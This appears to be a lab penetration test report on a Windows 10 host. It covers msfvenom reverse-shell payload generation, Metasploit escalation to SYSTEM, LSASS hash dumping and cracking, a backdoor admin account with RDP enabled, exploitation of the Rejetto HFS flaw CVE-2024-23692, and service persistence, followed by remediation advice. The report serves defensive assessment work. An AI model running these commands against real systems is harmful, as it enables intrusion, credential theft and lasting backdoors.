

PENETRATION TESTING REPORT

Complete Attack-Chain Simulation — Windows 10 Target System

⚠ CLASSIFICATION: CONFIDENTIAL

This document contains sensitive security assessment findings and is intended exclusively for authorised personnel directly involved in this engagement.

Report Date	May 16, 2026
Target IP Address	192.168.40.140
Attacker IP	192.168.40.136 (Kali Linux)
Target OS	Windows 10 22H2+ (Build 19045)
Domain	WORKGROUP
Architecture	x64
Overall Risk	CRITICAL
Engagement Type	Internal Network Penetration Test

1. Executive Summary

This document presents the outcomes of a security assessment carried out against a Windows 10 workstation (DESKTOP-AR0UM8P, IP 192.168.40.140) within an isolated local network. The test was executed from a Kali Linux machine (192.168.40.136) and replicated a real-world, end-to-end compromise scenario—from initial payload delivery through to long-term persistence.

The assessment confirmed that a network-adjacent, unauthenticated attacker could achieve full system ownership (NT AUTHORITY\SYSTEM) by combining social-engineering-based payload delivery, exploitation of a disclosed vulnerability (CVE-2024-23692 in Rejetto HTTP File Server), and a series of post-exploitation actions.

Attack Phase	Outcome
1. Payload Generation	✓ Meterpreter reverse shell (.exe) built and hosted for delivery
2. Initial Foothold	✓ Target executed payload; active session established
3. Privilege Escalation	✓ Full SYSTEM-level access obtained via Named Pipe Impersonation
4. Credential Acquisition	✓ NTLM password hashes extracted from LSASS memory
5. Lateral Movement	✓ RDP activated; backdoor admin account added; CVE-2024-23692 exploited
6. Persistent Access	✓ Self-starting Meterpreter service implanted; survives reboots

2. Phase 1 — Payload Generation

2.1 Overview

The engagement began with crafting a malicious Windows executable configured to open a reverse shell back to the attacker's listener. The Metasploit Framework utility msfvenom was used to produce the payload.

2.2 Technical Specifications

Parameter	Value
Payload Module	windows/meterpreter/reverse_tcp
Output Filename	Malware1122.exe
Callback IP (LHOST)	192.168.40.136
Callback Port (LPORT)	1122
Encoding Iterations	100 (AV-evasion encoding)
Target Architecture	x86 (auto-selected)
Final File Size	354 bytes → 7,168 bytes

2.3 Generation Command

```
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.40.136 \
  LPORT=1122 \
  -f exe -i 100 > Malware1122.exe
```

2.4 Delivery Mechanism

The generated binary was placed in the Apache web-server document root and served over HTTP, simulating a drive-by download or social-engineering scenario.

```
mv Malware1122.exe /var/www/html
service apache2 start
```

2.5 Listener Configuration

A Metasploit multi/handler was configured to accept the incoming reverse connection:

```
msf > use multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.40.136
msf exploit(multi/handler) > set LPORT 1122
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.40.136:1122
```

NOTE: The payload was produced without commercial-grade obfuscation. Modern EDR solutions with behavioural analysis would likely flag this binary at execution time. In environments lacking endpoint protection, however, this technique remains effective.

3. Phase 2 — Privilege Escalation

3.1 Initial Session & Reconnaissance

Once the target executed the payload, a Meterpreter session was opened. Immediate reconnaissance confirmed the operating environment:

```
[*] Meterpreter session 1 opened (192.168.40.136:1122 -> 192.168.40.140:64626)
meterpreter > sysinfo
  Computer      : DESKTOP-AR0UM8P
  OS            : Windows 10 22H2+ (10.0 Build 19045)
  Architecture  : x64
  System Language : en_US
  Domain        : WORKGROUP
  Logged On Users : 2
  Meterpreter    : x86/windows
```

3.2 Privilege Analysis

The initial session ran under limited user rights. The getprivs command confirmed the absence of key administrative privileges such as SeDebugPrivilege and SeTakeOwnershipPrivilege.

3.3 Escalation Attempt 1 — Failed

The first getsystem attempt was unsuccessful; all escalation methods were blocked:

```
meterpreter > getsystem
[-] Named Pipe Impersonation (In Memory/Admin) ... FAILED
[-] Named Pipe Impersonation (Dropper/Admin) ... FAILED
[-] Token Duplication (In Memory/Admin) ... FAILED
[-] Named Pipe Impersonation (RPCSS variant) ... FAILED
[-] Named Pipe Impersonation (PrintSpooler) ... FAILED
```

```
[*] Named Pipe Impersonation (EFSRPC/EfsPotato) ... FAILED
```

3.4 Token Enumeration via Incognito

The Incognito extension was loaded to enumerate delegation tokens residing in memory. An NT AUTHORITY\SYSTEM token was identified:

```
meterpreter > load incognito
Loading extension incognito... Success.
meterpreter > list_tokens -u
Delegation Tokens Available:
    DESKTOP-AR0UM8P\root
    NT AUTHORITY\SYSTEM
```

3.5 Escalation Attempt 2 — Successful

A fresh session was launched with the elevated context. The getsystem command succeeded via Named Pipe Impersonation (In Memory/Admin), yielding NT AUTHORITY\SYSTEM:

```
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > shell
C:\Windows\system32> ipconfig
    IPv4 Address: 192.168.40.140
```

△ SEVERITY: CRITICAL — Privilege Escalation to NT AUTHORITY\SYSTEM

Finding	Privilege escalation to NT AUTHORITY\SYSTEM
Technique	Named Pipe Impersonation (In Memory/Admin)
Resulting Privilege	NT AUTHORITY\SYSTEM
Active Session	Session 2 — x64/windows
CWE Reference	CWE-269: Improper Privilege Management

4. Phase 3 — Lateral Movement

4.1 Credential Harvesting via LSASS

With SYSTEM-level privileges, the attacker located the LSASS process—responsible for holding Windows credential hashes in memory—and migrated the Meterpreter agent into it to extract those hashes:

```
meterpreter > ps -S lsass.exe
    PID  Name      Arch  Session  User              Path
    ---  ---      ---   ---      ---              ---
    652   lsass.exe x64    0         NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe

meterpreter > migrate 652
[*] Migration completed successfully.

meterpreter > hashdump
Administrator:500:aad3b435...:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435...:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435...:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

```
:1000:aad3b435...:31d6cfe0d16ae931b73c59d7e0c089c0:::  
WDAGUtilityAccount:504:aad3b435...:371ba99112690010acd8724efcfe9083:::
```

4.2 Offline Hash Cracking

The recovered NTLM hashes were subjected to offline dictionary-based attacks using both John the Ripper and Hashcat with common wordlists:

```
# John the Ripper - rockyou.txt  
john --format=NT hashdump.txt --wordlist=/usr/share/wordlists/rockyou.txt.gz  
  (Administrator) - cracked  
  
# Hashcat - xato-net-10-million-passwords  
hashcat -m 1000 hashdump.txt xato-net-10-million-passwords-1000000.txt  
  Status: Exhausted | Recovered: 1/3 (33.33%)
```

⚠ SEVERITY: CRITICAL — NTLM Hash Extraction from LSASS Memory

Finding	NTLM credential hashes extracted from LSASS process memory
Method	Meterpreter process migration into LSASS (PID 652) + hashdump
Accounts Affected	Administrator, DefaultAccount, Guest, WDAGUtilityAccount
Hash Format	NTLM (Windows NT Hash)
Cracking Tools Used	John the Ripper, Hashcat
CWE Reference	CWE-522: Insufficiently Protected Credentials

4.3 Remote Desktop Protocol Activation

To establish graphical control over the target, RDP was enabled through registry modifications and firewall rule updates. A hidden administrator account was also provisioned:

```
# Activate RDP via registry key  
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server"  
  /v fDenyTSConnections /t REG_DWORD /d 0 /f  
The operation completed successfully.  
  
# Permit RDP through the host firewall  
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes  
Updated 3 rule(s). Ok.  
  
# Create a hidden backdoor administrator account  
net user ifti pa$$w0rd /add  
net localgroup administrators ifti /add  
net localgroup "Remote Desktop Users" ifti /add
```

4.4 Automated RDP Module

The post/windows/manage/enable_rdp Metasploit module was additionally run against Session 2 to automate the RDP-enablement process.

```
msf > use post/windows/manage/enable_rdp  
msf post(windows/manage/enable_rdp) > set session 2  
msf post(windows/manage/enable_rdp) > run
```

4.5 CVE-2024-23692 — Rejetto HFS Unauthenticated RCE

A secondary attack vector was uncovered and exploited. The target was running Rejetto HTTP File Server version 2.3m, vulnerable to CVE-2024-23692—an unauthenticated Remote Code Execution flaw triggered via a specially crafted template-injection payload in the HFS macro language:

```
msf > use exploit/windows/http/rejetto_hfs_rce_cve_2024_23692
msf exploit(...) > set RHOSTS 192.168.40.140
msf exploit(...) > set LHOST 192.168.40.136
msf exploit(...) > exploit
[+] The target is vulnerable. Rejetto HFS version 2.3m
[*] Meterpreter session 1 opened (192.168.40.136:4444 -> 192.168.40.140:65470)
```

⚠ SEVERITY: CRITICAL — CVE-2024-23692 Rejetto HFS Unauthenticated RCE

CVE	CVE-2024-23692
Affected Software	Rejetto HTTP File Server (HFS) v2.3m
Disclosure Date	25 May 2024
Attack Vector	Network (no authentication required)
Access Obtained	Meterpreter shell with full SYSTEM-level privileges
CVSS Score	9.8 — Critical
CWE Reference	CWE-94: Improper Control of Code Generation (Code Injection)

4.6 RDP Visual Access Verified

Using the Remmina Remote Desktop Client on the attacker system, full graphical access to the compromised Windows 10 desktop was confirmed over RDP at 192.168.40.140, demonstrating complete interactive control of the target host.

5. Phase 4 — Access Maintenance & Persistence

5.1 Overview

To replicate an Advanced Persistent Threat (APT) scenario, durable access mechanisms were deployed to ensure continued control over the compromised host across reboots and session interruptions.

5.2 Windows Service-Based Persistence

The exploit/windows/persistence/service Metasploit module was used to install a persistent Meterpreter payload as a Windows service, configured to auto-start on each system reboot:

```
msf > use exploit/windows/persistence/service
msf exploit(...) > set session 1
msf exploit(...) > set LHOST 192.168.40.136
msf exploit(...) > set LPORT 4444
msf exploit(...) > exploit
[+] Payload written to C:\Windows\TEMP\flytjt.exe
[*] Meterpreter session 2 opened
[*] Meterpreter session 3 opened
[*] Meterpreter session 5 opened (persistent — survives reboot)
```

5.3 Persistent Session Confirmed

Multiple Meterpreter sessions were established and validated. Session 5 was confirmed active as NT AUTHORITY\SYSTEM following a simulated reboot:

```
msf > sessions
  Id  Type      Information                                     Connection
  --  -
  5   meterpreter x86 NT AUTHORITY\SYSTEM @ DESKTOP-AR0UM8P 192.168.40.136:4444
```

⚠ SEVERITY: CRITICAL — Persistent Backdoor via Windows Service

Finding	Reboot-surviving backdoor installed as a Windows service
Metasploit Module	exploit/windows/persistence/service
Payload Location	C:\Windows\TEMP\flytjt.exe
Persistence Method	Windows Service (auto-start on system restart)
Callback Address	192.168.40.136:4444
Session Privilege	NT AUTHORITY\SYSTEM
CWE Reference	CWE-912: Hidden Functionality / Backdoor

6. Vulnerability Summary

#	Vulnerability	Severity	CVE / CWE	Impact
1	Meterpreter Reverse Shell via HTTP Delivery	HIGH	CWE-494	Initial access; remote code execution
2	Privilege Escalation to SYSTEM (Pipe Impersonation)	CRITICAL	CWE-269	Complete OS takeover
3	LSASS Memory Dump & NTLM Hash Extraction	CRITICAL	CWE-522	Credential compromise across accounts
4	CVE-2024-23692 Rejetto HFS Unauthenticated RCE	CRITICAL	CVE-2024-23692	Unauthenticated remote shell
5	RDP Enabled & Backdoor Admin Account Created	CRITICAL	CWE-284	Persistent graphical admin access
6	Windows Service Persistence Implant	CRITICAL	CWE-912	Reboot-surviving reverse backdoor

7. Recommendations

7.1 Immediate Actions (Critical Priority)

- Patch or uninstall Rejetto HFS immediately — CVE-2024-23692 has a public exploit and requires no authentication to trigger remote code execution.
- Isolate DESKTOP-AR0UM8P from the network until all remediation steps are complete.
- Revoke and rotate all credentials on the compromised machine, with particular focus on the Administrator and accounts.
- Remove the backdoor account 'ifti' created during the test and audit all local administrator group memberships.
- Locate and delete the persistence payload at C:\Windows\TEMP\flytjt.exe and disable the associated service.
- Disable RDP where not required; if RDP is essential, restrict access to VPN or jump-host connections with Network Level Authentication (NLA) enforced.

7.2 Short-Term Hardening Measures

- Deploy an Endpoint Detection and Response (EDR) solution capable of identifying process injection, LSASS memory access, and anomalous parent-child process relationships.
- Enable Windows Credential Guard to prevent user-mode processes from reading LSASS memory contents.
- Enforce the principle of least privilege — standard user accounts must not hold `SeImpersonatePrivilege` or access to delegation tokens.
- Activate Windows Defender Attack Surface Reduction (ASR) rules, particularly those targeting credential theft from LSASS.
- Implement application allowlisting to block execution of unsigned or unrecognised executables.
- Restrict outbound network connections from workstations via host-based firewall rules, especially on non-standard reverse-shell ports.

7.3 Long-Term Strategic Controls

- Implement network segmentation to reduce lateral movement opportunities between workstations and sensitive systems.
- Deploy a SIEM platform to monitor for indicators of compromise, including anomalous process spawning, LSASS access patterns, registry changes enabling RDP, and unexpected outbound TCP connections.
- Enforce multi-factor authentication (MFA) for all remote access methods, including RDP.
- Establish a continuous vulnerability scanning and patch management programme, with particular attention to internet-accessible services such as HFS.
- Deliver periodic security awareness training to users to reduce the risk of payload execution through phishing or social engineering.
- Commission structured penetration tests at least annually to identify emerging attack surfaces.

8. Attack Timeline

Timestamp	Action Performed	Outcome
2026-05-16 ~06:00	msfvenom payload generation	Malware1122.exe created (7,168 bytes)
2026-05-16 06:17	Target executed malicious binary	Meterpreter Session 1 established
2026-05-16 06:22	Incognito token abuse + getsystem	NT AUTHORITY\SYSTEM obtained (Session 2)
2026-05-16 ~06:30	LSASS process migration + hashdump	5 NTLM hashes extracted from memory
2026-05-16 07:05	Remmina RDP connection established	Full graphical desktop access confirmed
2026-05-16 07:16	John the Ripper offline cracking	Administrator hash successfully cracked
2026-05-16 07:21	Hashcat NTLM dictionary attack	33% of distinct hashes recovered
2026-05-16 09:47	CVE-2024-23692 exploitation	Second SYSTEM-level session via Rejetto HFS
2026-05-16 10:20	Persistence service deployed	Reboot-surviving backdoor installed
2026-05-16 10:25	Session 5 (persistent) verified active	Active SYSTEM shell confirmed post-reboot

9. Disclaimer

This penetration assessment was conducted exclusively within a controlled laboratory environment for educational and authorised security research purposes. All activities described herein were performed against systems owned and operated by the tester. The documented techniques are published solely to support defensive security practices and responsible vulnerability disclosure.

Applying any of the techniques described in this report against systems without explicit written authorisation from the system owner is unlawful and unethical